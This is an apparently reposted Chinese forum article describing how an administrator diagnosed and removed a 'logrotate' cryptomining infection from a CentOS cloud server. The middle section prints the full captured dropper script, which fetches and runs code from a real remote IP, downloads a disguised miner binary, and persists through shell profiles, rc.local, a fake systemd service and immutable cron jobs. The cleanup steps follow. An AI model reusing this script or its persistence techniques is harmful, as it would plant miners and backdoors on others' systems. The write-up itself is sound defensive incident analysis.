ToB企服应用市场:ToB评测及商务社交产业平台

标题: 进行病毒查杀/5月服务器遭遇logrotate病毒的查杀过程_0底子信息安全讲授 [打印本页]

作者: 水军大提督    时间: 2024-6-15 03:56
标题: 进行病毒查杀/5月服务器遭遇logrotate病毒的查杀过程_0底子信息安全讲授
进行病毒查杀/5月服务器遭遇logrotate病毒的查杀过程_0底子信息安全讲授
现象:SSH失败、CPU满转
五一返来第一天早上,同事反馈服务器ssh登录不上,一直处于登录中状态。

于是进入云服务器控制台,CPU打满状态,知道服务器被攻击了
腾讯云入侵检测,高危下令报警

排查过程实行 VNC 登录
由于SSH登录不上,进入云服务器控制台,实行VNC登录,很遗憾也是进不去服务器,一直处于login登录中状态

单用户模式重启
重启服务器,在VNC控制台看到服务器无法重启一直锁死

  1. A start job is running for /etc/rc.d/local Compatibility
复制代码

实行单用户模式重启
参考 blog.csdn.net/…
什么是单用户模式呢?
单用户模式和救援模式重要用于系统出现错误配置不能正常启动的时间,可以使用这两种模式来更改错误配置。还有就是当忘记root暗码时就只有用这两种方式来强制更改暗码。
使在此模式下和正常启动的系统差异不大以root身份运行,拥有最高权限可以对所有文件读写,只是不需要输入root暗码,所以就可以实现强制更改暗码。重要用在配置错误导致系统启动不了,或者root下令忘记时。注意这个模式下是没有网络毗连的。
上面看到重启锁死,这个 /etc/rc.d/rc.local 文件是开机自启动shell脚本,通常会加上一些需要开启自启动的脚本,我们进入单用户模式来修改这个文件,看内里被篡改了什么
进入 VNC,发送 Ctrl+Alt+ 下令 重启服务器
按e进入启动内核
点击确定,系统开机中,然后立刻点击e(多次点击启动内核)
修改初始化下令
进入后按到最后 增长 init=/bin/sh , 而且把原来 ro 或者 r\o 修改为 rw ,设置为文件可修改,否则提示只读,斜杠只是换行符不消管
启动进入单用户模式
按住Ctrl+x,即可进入单用户模式,对系统内文件进行利用。

修改 rc.local 文件
看到被病毒修改增长了脚本 .sh,删除掉这句脚本
重启乐成
修改完成后,执行 exec /sbin/init 退出单用户模式,启动乐成。
重装SSH
此时发现ssh登录还是失败,通过VNC登录登录很久,十几二十分钟才进入到服务器。捉住时机。
为了能ssh登录,此时卸载ssh并重装

  1. # 可以通过这条命令查看卸载前后的openssh相关服务安装情况
  2. rpm -qa openssh*
  3. # 卸载
  4. yum remove openssh*
  5. # 安装
  6. yum install -y openssh-server
  7. # 启动服务
  8. systemctl start sshd
  9. systemctl enable sshd
复制代码
排查病毒
参考 blog.csdn.net//…
下载 .sh 脚天职析
通过报警找到.sh脚本地址

  1. #!/bin/sh
  2. { pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
  3. ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
  4. EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)"
  5. trap 'rm -- "$0"' EXIT
  6. if [ -z "${HOME+x}" ]; then
  7.    export HOME=/tmp
  8. fi
  9. mkdir -p "$HOME/.config" >/dev/null 2>&1
  10. [ ! -f "$HOME/.config/logrotate" ] && {
  11.    ARCH=$(uname -m)
  12.    URL=""
  13.    [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png"
  14.    [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png"
  15.    [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png"
  16.    { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
  17.    chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
  18. }
  19. pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
  20. add_to_startup() {
  21.    if [ -r "$1" ]; then
  22.        if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
  23.            echo "$EXEC >/dev/null 2>&1" >> "$1"
  24.        fi
  25.    fi
  26. }
  27. case "$(ps -p $$ -o comm=)" in
  28.    bash) add_to_startup "$HOME/.bashrc"
  29.          add_to_startup "$HOME/.bash_logout" ;;
  30.    zsh) add_to_startup "$HOME/.zshrc" ;;
  31. esac
  32. [ "$(id -u)" -eq 0 ] && {
  33.    RCLOCAL=''
  34.    [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
  35.    [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
  36.    [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
  37.    cat >/etc/systemd/system/logrotate.service <<EOL
  38. [Unit]
  39. Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
  40. [Service]
  41. ExecStart=$HOME/.config/logrotate
  42. Restart=always
  43. Nice=-20
  44. StandardOutput=null
  45. [Install]
  46. WantedBy=multi-user.target
  47. EOL
  48.    sudo systemctl daemon-reload 2>/dev/null
  49.    sudo systemctl enable logrotate.service 2>/dev/null
  50.    [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
  51.    [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
  52.    [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
  53.    [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
  54.    [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
  55.    [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
  56.    [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
  57.    [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
  58. }
复制代码
这段脚本的大概表明
- 停止之前的xmrig实例:
实利用用pkill或kill下令停止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有用地将它们静音)。
- 停止高CPU使用率的进程:
通过结合使用ps、awk和kill来找出并停止未明白排除且斲丧高出60% CPU的任何进程。
- 下载并执行远程脚本:
设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(.sh)。
- 设置环境:
确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.目录。
- 根据架构下载并执行二进制文件:
检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为保存在.目录中,然后使其可执行。
- 持久性机制:
将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。还试图将此脚本插入各种系统级cron目录和服务中,以确保它连续运行或定期检查,这有用地使其更难以移除,并确保它定期运行。
设置了一个名为.的服务来运行下载的二进制文件,并实行将执行下令添加到差别频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用 +i下令使这些脚本变为不可更改。
也就是说这段脚本会采用定时使命和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的服务来运行
查杀
知道了脚本的运作机制,就好解决了
删除病毒文件
使用ps -ef|grep 可以看到这个病毒的目录,去把对应的文件删掉
先把他kill掉

  1. kill -9 16006
复制代码
然后删除文件

  1. rm -rf /root/.config/logrotate
复制代码
删除服务
使用top下令,找到名称为的服务,这个占用了大量CPU,把服务竣事掉kill -9 id,有大概在删除了病毒文件之后top这里就看不到这个进程了

  1. # 先使用这个命令查看是否有服务
  2. systemctl list-unit-files |grep logrotate.service
  3. # 然后清除服务
  4. systemctl disable logrotate.service
  5. # 找到服务文件所在位置
  6. find / -name logrotate.service
  7. # 删除服务文件
  8. rm -rf  上一句文件位置
复制代码
清除定时使命
使用 -l会列出所有当前用户的定时使命,使用 -e把相关使命删掉保存,需要注意的是如果定时使命不在root用户则使用此下令看不到
打开文件 /etc/ , 编辑内里移除病毒相关的脚步下令,保存后执行 /etc/ 生效
清除系统级别定时使命

  1. # 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i
  2. chattr -ai /etc/cron.hourly/logrotate;
  3. chattr -ai /etc/cron.daily/logrotate;
  4. chattr -ai /etc/cron.weekly/logrotate;
  5. chattr -ai /etc/cron.monthly/logrotate;
  6. chattr -ai /etc/cron.yearly/logrotate;
  7. # 删除
  8. rm -rf /etc/cron.hourly/logrotate;
  9. rm -rf /etc/cron.daily/logrotate;
  10. rm -rf /etc/cron.weekly/logrotate;
  11. rm -rf /etc/cron.monthly/logrotate;
  12. rm -rf /etc/cron.yearly/logrotate;
复制代码
清除开机启动项

先查察 $HOME 是哪个目录
编辑这些文件,把非常信息删掉
修改云服务器安全组
只对一些ip和端口开放
到此,所有的清除工作就竣事了,修改下暗码,重启服务器应该就可以了
网络安全学习门路图(头脑导图)
网络安全学习门路图可以是一个有助于你规划学习进程的工具。你可以在头脑导图上列出差别的主题和技能,然后按照逻辑序次渐渐学习和把握它们。这可以资助你更清晰地了解自己的学习希望和下一步筹划。

1. 网络安全视频资料

2. 网络安全条记/口试题

3. 网安电子书PDF资料


   如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小同伴可以V我找我拿~  


   学网络安全/学黑客,零底子资料整理来啦~~~  ~

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4